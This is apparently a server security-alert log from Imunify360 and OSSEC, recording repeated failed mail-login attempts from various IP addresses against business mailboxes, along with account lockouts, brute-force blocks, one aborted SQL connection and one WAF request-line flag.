name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:32:32 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:32:20 dovecot_login authenticator failed for H=(3qzApxNcFh) [178.16.54.22]:61540: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:32:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36840: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:32:02 dovecot_login authenticator failed for H=(eRMAwGGw) [178.16.52.139]:57736: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:32:02 dovecot_login authenticator failed for H=(exGPoPTPy) [158.94.208.175]:50311: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:32:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53245: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:33:25 dovecot_login authenticator failed for H=(OkByBNS1Ge) [158.94.208.175]:55128: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:33:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:33:14 dovecot_login authenticator failed for H=(WlbupYfW) [178.16.52.139]:51916: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:33:39 dovecot_login authenticator failed for H=(LMB4j3k) [178.16.52.139]:49312: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:33:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49219: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:33:01 dovecot_login authenticator failed for H=(tc1WgFr20p) [178.16.54.22]:51547: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:34:13 dovecot_login authenticator failed for H=(3kWwPRm) [178.16.52.139]:59072: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:34:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61093: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:34:05 dovecot_login authenticator failed for H=(jo8caW) [178.16.54.22]:54210: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:34:12 dovecot_login authenticator failed for H=(zk6hMG6Xy) [158.94.208.175]:58988: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:34:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:34:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49314: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:35:07 dovecot_login authenticator failed for H=(4rlATrW) [178.16.54.22]:65315: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:35:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50432: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:35:13 dovecot_login authenticator failed for H=(T5eCsKOK) [178.16.52.139]:50011: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:35:15 dovecot_login authenticator failed for H=(PsHPFV) [158.94.208.175]:54405: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 14:35:42 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:58732: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:35:44 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 14:36:03 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:42821: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:36:05 dovecot_login authenticator failed for H=(8UOst3GZ) [158.94.208.175]:57328: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:36:40 dovecot_login authenticator failed for H=(vH1ClTU5Tj) [178.16.54.22]:51627: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:36:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45312: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:36:02 dovecot_login authenticator failed for H=(4j2SM57) [178.16.52.139]:59519: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:36:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55796: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:37:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51782: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:37:11 dovecot_login authenticator failed for H=(PUoUvg) [178.16.52.139]:54759: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:37:11 227237 [Warning] Aborted connection 227237 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:37:16 dovecot_login authenticator failed for H=(lpdsi7Br4) [178.16.54.22]:54946: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:37:27 dovecot_login authenticator failed for H=(SOgZWuFKga) [158.94.208.175]:50767: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:38:17 dovecot_login authenticator failed for H=(Is9l7hGbOp) [178.16.52.139]:56793: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:38:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51210: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:38:24 dovecot_login authenticator failed for H=(J89WnnNiKr) [178.16.54.22]:59985: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:38:32 dovecot_login authenticator failed for H=(Wef7fgEFnr) [158.94.208.175]:60468: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-01 14:39:33 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:33076: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 14:39:47 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:33509: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 14:39:47 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:52085: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:39:04 dovecot_login authenticator failed for H=(996UkDdxqA) [158.94.208.175]:62807: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:39:05 dovecot_login authenticator failed for H=(rFpMwtFS6t) [178.16.54.22]:63197: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:39:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38460: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:39:06 dovecot_login authenticator failed for H=(sLbQEDn) [178.16.52.139]:49774: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:39:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57826: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:40:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63488: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:40:10 dovecot_login authenticator failed for H=(ImFzDG7uQ) [158.94.208.175]:54700: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-02-01 14:40:41 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:33107: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:40:20 dovecot_login authenticator failed for H=(FAcpveaTk) [178.16.52.139]:63665: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:40:24 dovecot_login authenticator failed for H=(jPM3hLLG) [178.16.54.22]:59525: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 14:40:30 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:50131: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:41:14 dovecot_login authenticator failed for H=(k4vuElt) [158.94.208.175]:49552: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:41:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46214: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:41:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59436: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:41:44 dovecot_login authenticator failed for H=(1LyJ4N) [178.16.52.139]:65474: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 14:41:49 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:45436: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:41:10 dovecot_login authenticator failed for H=(OeW6hB7f8r) [178.16.54.22]:62395: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 14:42:53 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:46662: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:42:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49414: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:42:37 dovecot_login authenticator failed for H=(BmYRJ8Wl) [178.16.52.139]:65416: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:42:15 dovecot_login authenticator failed for H=(Y1euEW) [158.94.208.175]:51801: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:42:26 dovecot_login authenticator failed for H=(TSUBHo901v) [178.16.54.22]:63617: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.132.228.211
country_id: 1814991
description:
2026-02-01 14:42:57 dovecot_login authenticator failed for H=([59.110.5.198]) [36.132.228.211]:10638: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 14:43:13 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:43:19 dovecot_login authenticator failed for H=(CHZ8Bx3AA) [158.94.208.175]:50022: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:43:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40628: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.140.233.37
country_id: 2017370
description:
2026-02-01 14:43:25 dovecot_login authenticator failed for H=(37.233.140.62.fryazino.net) [62.140.233.37]:59924: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 14:43:35 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:44176: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:43:38 dovecot_login authenticator failed for H=(zLSHGOl) [158.94.208.175]:53910: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:43:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55139: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:43:45 dovecot_login authenticator failed for H=(384erw5Q2) [178.16.54.22]:53090: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:43:05 dovecot_login authenticator failed for H=(V1qzKoSO) [178.16.52.139]:58034: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:44:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56837: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:44:08 dovecot_login authenticator failed for H=(ueJXk1w) [178.16.54.22]:51549: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:44:09 dovecot_login authenticator failed for H=(NMWnnIeuP) [178.16.52.139]:63763: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:44:12 dovecot_login authenticator failed for H=(Y7f8eupK4) [158.94.208.175]:49778: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:45:03 dovecot_login authenticator failed for H=(ZUGIdVS) [178.16.52.139]:54293: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:45:16 dovecot_login authenticator failed for H=(j9oGjw) [178.16.54.22]:55147: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:45:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49978: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:45:18 dovecot_login authenticator failed for H=(CcU71j) [158.94.208.175]:63746: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:45:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50996: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:46:07 dovecot_login authenticator failed for H=(xYDprqnTIz) [178.16.52.139]:52221: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:46:09 dovecot_login authenticator failed for H=(u70NpW) [158.94.208.175]:53899: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:46:47 dovecot_login authenticator failed for H=(fCMtUl) [178.16.54.22]:50882: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:46:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57204: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.148.115.136
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=68&page=6 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:47:31 dovecot_login authenticator failed for H=(1nbaIEVbkT) [178.16.54.22]:51184: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:47:32 dovecot_login authenticator failed for H=(nwUlDaqxky) [178.16.52.139]:61382: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:47:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63239: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:47:14 dovecot_login authenticator failed for H=(ArM2rCTyoP) [158.94.208.175]:49478: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:47:15 dovecot_login authenticator failed for H=(tfJTWKKr2) [178.16.52.139]:50388: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:47:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41244: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:48:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:48:17 dovecot_login authenticator failed for H=(p0NXkj) [178.16.52.139]:63110: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
country_id: 99237
description:
2026-02-01 14:48:51 dovecot_plain authenticator failed for H=(rhint) [65.20.143.159]:50634: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:48:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53451: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:48:08 dovecot_login authenticator failed for H=(zL2d0ijnN) [178.16.54.22]:65444: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:48:10 dovecot_login authenticator failed for H=(gMu8CI) [158.94.208.175]:60139: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:49:03 dovecot_login authenticator failed for H=(EdFNGOe) [178.16.52.139]:50872: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:49:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60370: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:49:19 dovecot_login authenticator failed for H=(fxOdEff5W) [178.16.54.22]:51640: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:49:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:49:45 dovecot_login authenticator failed for H=(N7EyFbd) [158.94.208.175]:52602: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:49:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40602: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:50:23 dovecot_login authenticator failed for H=(vZ1MCE3) [178.16.52.139]:61178: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:50:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57675: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:50:33 dovecot_login authenticator failed for H=(Qws5Um) [178.16.54.22]:59635: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.116
country_id: 1269750
description:
2026-02-01 14:50:41 dovecot_login authenticator failed for H=(nsg-corporate-116.230.187.122.airtel.in) [122.187.230.116]:54742: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
